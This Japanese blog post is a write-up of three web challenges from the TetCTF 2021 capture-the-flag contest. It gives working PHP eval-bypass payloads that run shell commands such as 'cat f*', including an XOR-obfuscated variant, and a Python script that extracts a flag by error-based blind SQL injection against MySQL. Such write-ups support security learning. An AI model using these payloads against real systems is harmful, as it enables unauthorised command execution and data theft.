st98 の日記帳 - コピー

なにか変なことが書かれていたり、よくわからない部分があったりすればコメントでご指摘ください。匿名でもコメント可能です🙏

TetCTF 2021 writeup

1/1 - 1/3という日程で開催された。zer0ptsで参加して6位。AMF問は解けなかったけど作問者の解説が勉強になった。あとTLS-poisonでSSRFする問題が出たんだったかな。詳しくはZeddyさんの記事を参照のこと。

[Web] HPNY

/^[a-z\(\)\_\.]+$/i という条件なら eval できるというPHP問。/?roll=passthru(end(filter_input_array(INPUT_GET)))&0=cat%20f* でフラグが得られる。

[Web] mysqlimit

MySQLのSQLi問。Orange先生のスライドを参考にまず /?id=(select%201%20from%20(select%20*%20from%20flag_here_hihi%20join%20flag_here_hihi%20as%20x%20using(id))%20as%20y)t_fl4g_name_su というカラム名の存在が確認できる。

あとはError-based Blind SQLiでやるだけ。

import requests
import urllib.parse
URL = 'http://45.77.255.164/?id='
TEMPLATE = '(select 1e308*(2*(ascii(right(left(t_fl4g_v3lue_su,{}),1))&{})) from flag_here_hihi limit 1)'

i = 1
res = ''
while True:
  c = 0
  for j in range(7):
    url = URL + urllib.parse.quote(TEMPLATE.format(i, 1 << j))
    req = requests.get(url)
    if 'DOUBLE' in req.text:
      c |= 1 << j
  res += chr(c)
  print(i, res)
  i += 1

[Web] Super Calc

/^[0-9\+\-\*\/\(\)\'\.\~\^\|\&]+$/i という条件なら eval できるというPHP問。/?calc=(%2740440040%27%5E%278-998%2689%27%5E%27%7C%7C~~%7C~~%7C%27)(%2744%27%5E%27%269%27%5E%27~~%27)fl4g1sH3re.php というファイルの存在が確認できる。/?calc=(%2740440040%27%5E%278-998%2689%27%5E%27%7C%7C~~%7C~~%7C%27)(%2700000*%27%5E%27--86**%27%5E%27~%7C%7C%26%7C*%27) でフラグが得られる。